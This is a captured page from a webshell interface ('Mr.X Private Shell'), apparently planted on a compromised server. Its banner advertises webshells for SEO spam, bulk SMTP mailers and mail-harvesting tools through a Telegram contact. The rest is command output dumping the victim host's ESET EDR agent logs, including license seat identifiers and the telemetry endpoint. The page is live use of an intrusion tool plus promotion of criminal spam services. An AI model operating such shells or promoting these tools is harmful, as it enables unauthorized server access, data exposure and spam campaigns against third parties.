__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

[email protected]: ~ $ 
Version: 2.8.5555 (Oct 13 2025 18:38:28)
Compiled with: Clang Version: 18.1.3
Npm: 10.8.2
HardwareInfo: CPU: IntelXeon, cores: 240, RAM: 7GB
TelemetryId: Server d38ecbca8f660598256b227c9815089ffeddc553
2026-03-04 00:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2345 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 531 KB; ModuleMetadata: 462 KB; TcpIpConnectionsManager: 373 KB; rules::ProcessConditionsCache: 216 KB; BatchSerializer::EventsQueueTag: 140 KB; ModuleInfoCache: 80 KB; CacheEntry: 75 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36172 KB;
2026-03-04 00:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2345 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 533 KB; ModuleMetadata: 462 KB; TcpIpConnectionsManager: 222 KB; rules::ProcessConditionsCache: 216 KB; BatchSerializer::EventsQueueTag: 141 KB; ModuleInfoCache: 80 KB; CacheEntry: 75 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36025 KB;
2026-03-04 00:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2345 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 536 KB; ModuleMetadata: 462 KB; rules::ProcessConditionsCache: 216 KB; BatchSerializer::EventsQueueTag: 141 KB; ModuleInfoCache: 80 KB; CacheEntry: 75 KB; TcpIpConnectionsManager: 71 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 35876 KB;
2026-03-04 00:03:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:03:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:03:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:03:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:03:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:03:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:03:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:03:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2345 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 535 KB; ModuleMetadata: 462 KB; rules::ProcessConditionsCache: 216 KB; BatchSerializer::EventsQueueTag: 141 KB; ModuleInfoCache: 80 KB; CacheEntry: 75 KB; TcpIpConnectionsManager: 60 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 35863 KB;
2026-03-04 00:04:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-03 23:57:01, To:, 2026-03-04 00:04:02, Duration (s):, 421, Events Per Second:, 6.982, Events:, 2941, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 2421, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 2, Livegrid:, 2, OriginUrl:, 0, Alarms:, 515, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 328185
2026-03-04 00:04:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s291ms.
2026-03-04 00:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 462 KB; rules::ProcessConditionsCache: 216 KB; ProcessInfo: 171 KB; ModuleInfoCache: 80 KB; CacheEntry: 75 KB; TcpIpConnectionsManager: 60 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 0 KB; BaseEvent: 0 KB; BatchStringTag: 0 KB; Total: 33012 KB;
2026-03-04 00:05:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:00:00, To:, 2026-03-04 00:05:02, Duration (s):, 302, Events Per Second:, 17.404, Events:, 5259, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4397, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 861, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 586265
2026-03-04 00:05:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s008ms.
2026-03-04 00:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2457 KB; TcpIpConnectionsManager: 1011 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 569 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 462 KB; rules::ProcessConditionsCache: 186 KB; BaseEvent: 165 KB; ModuleInfoCache: 80 KB; CacheEntry: 75 KB; BatchSerializer::EventsQueueTag: 42 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 36428 KB;
2026-03-04 00:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2820 KB; TcpIpConnectionsManager: 1159 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 571 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 462 KB; BaseEvent: 348 KB; rules::ProcessConditionsCache: 185 KB; BatchSerializer::EventsQueueTag: 89 KB; ModuleInfoCache: 80 KB; CacheEntry: 75 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 37169 KB;
2026-03-04 00:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2886 KB; TcpIpConnectionsManager: 1183 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 572 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; BaseEvent: 379 KB; rules::ProcessConditionsCache: 266 KB; BatchSerializer::EventsQueueTag: 97 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37383 KB;
2026-03-04 00:08:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:08:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:08:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:08:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:08:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:08:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:08:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:08:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2886 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 572 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; BaseEvent: 381 KB; rules::ProcessConditionsCache: 266 KB; TcpIpConnectionsManager: 234 KB; BatchSerializer::EventsQueueTag: 98 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 36434 KB;
2026-03-04 00:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2886 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 572 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; BaseEvent: 382 KB; rules::ProcessConditionsCache: 266 KB; BatchSerializer::EventsQueueTag: 98 KB; TcpIpConnectionsManager: 86 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 36287 KB;
2026-03-04 00:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2886 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 572 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; BaseEvent: 382 KB; rules::ProcessConditionsCache: 266 KB; BatchSerializer::EventsQueueTag: 98 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; TcpIpConnectionsManager: 61 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 36263 KB;
2026-03-04 00:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2886 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 572 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; BaseEvent: 382 KB; rules::ProcessConditionsCache: 266 KB; BatchSerializer::EventsQueueTag: 98 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; TcpIpConnectionsManager: 61 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 36263 KB;
2026-03-04 00:12:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:05:01, To:, 2026-03-04 00:12:02, Duration (s):, 421, Events Per Second:, 4.955, Events:, 2087, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 1710, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 376, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 234078
2026-03-04 00:12:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s182ms.
2026-03-04 00:12:07 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:07:06, To:, 2026-03-04 00:12:07, Duration (s):, 301, Events Per Second:, 17.259, Events:, 5209, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4336, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 872, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 580381
2026-03-04 00:12:09 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s450ms.
2026-03-04 00:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2380 KB; TcpIpConnectionsManager: 1000 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 581 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; rules::ProcessConditionsCache: 189 KB; BaseEvent: 137 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; BatchSerializer::EventsQueueTag: 36 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 36324 KB;
2026-03-04 00:13:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:13:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:13:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:13:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:13:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:13:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:13:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:13:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 59415 KB; ProcessInfo: 2739 KB; TcpIpConnectionsManager: 1154 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 572 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; BaseEvent: 313 KB; rules::ProcessConditionsCache: 172 KB; BatchSerializer::EventsQueueTag: 82 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 65705 KB;
2026-03-04 00:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3099 KB; TcpIpConnectionsManager: 1307 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 575 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 486 KB; ModuleMetadata: 464 KB; rules::ProcessConditionsCache: 151 KB; BatchSerializer::EventsQueueTag: 126 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 68467 KB;
2026-03-04 00:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3463 KB; BaseEvent: 663 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 559 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; ModuleMetadata: 464 KB; BatchSerializer::EventsQueueTag: 173 KB; rules::ProcessConditionsCache: 138 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 68249 KB;
2026-03-04 00:16:22 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:12:09, To:, 2026-03-04 00:16:22, Duration (s):, 253, Events Per Second:, 16.433, Events:, 4160, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3429, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 730, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461811
2026-03-04 00:16:24 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s266ms.
2026-03-04 00:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1471 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 561 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 464 KB; rules::ProcessConditionsCache: 129 KB; BaseEvent: 99 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; BatchSerializer::EventsQueueTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65512 KB;
2026-03-04 00:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2176 KB; TcpIpConnectionsManager: 658 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 562 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; BaseEvent: 446 KB; BatchSerializer::EventsQueueTag: 115 KB; rules::ProcessConditionsCache: 88 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66759 KB;
2026-03-04 00:18:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:18:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:18:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:18:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:18:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:18:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:18:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:18:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:18:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:16:21, To:, 2026-03-04 00:18:53, Duration (s):, 152, Events Per Second:, 27.198, Events:, 4137, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3408, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 728, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458475
2026-03-04 00:18:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s446ms.
2026-03-04 00:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1943 KB; TcpIpConnectionsManager: 798 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; ModuleMetadata: 464 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; BaseEvent: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 9 KB; BatchSerializer::EventsQueueTag: 8 KB; ProcessInfoCommandLineTag: 7 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66042 KB;
2026-03-04 00:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2664 KB; TcpIpConnectionsManager: 954 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; ModuleMetadata: 464 KB; rules::ProcessConditionsCache: 388 KB; BaseEvent: 383 KB; BatchSerializer::EventsQueueTag: 99 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 7 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67743 KB;
2026-03-04 00:20:55 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:18:52, To:, 2026-03-04 00:20:55, Duration (s):, 123, Events Per Second:, 33.586, Events:, 4144, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3420, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460375
2026-03-04 00:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2351 KB; TcpIpConnectionsManager: 1001 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; ModuleMetadata: 464 KB; BatchStringTag: 449 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; rules::ProcessConditionsCache: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BaseEvent: 1 KB; BatchSerializer::EventsQueueTag: 0 KB; Total: 67070 KB;
2026-03-04 00:20:56 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s403ms.
2026-03-04 00:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2981 KB; TcpIpConnectionsManager: 972 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 564 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 464 KB; BaseEvent: 310 KB; rules::ProcessConditionsCache: 295 KB; BatchSerializer::EventsQueueTag: 82 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67915 KB;
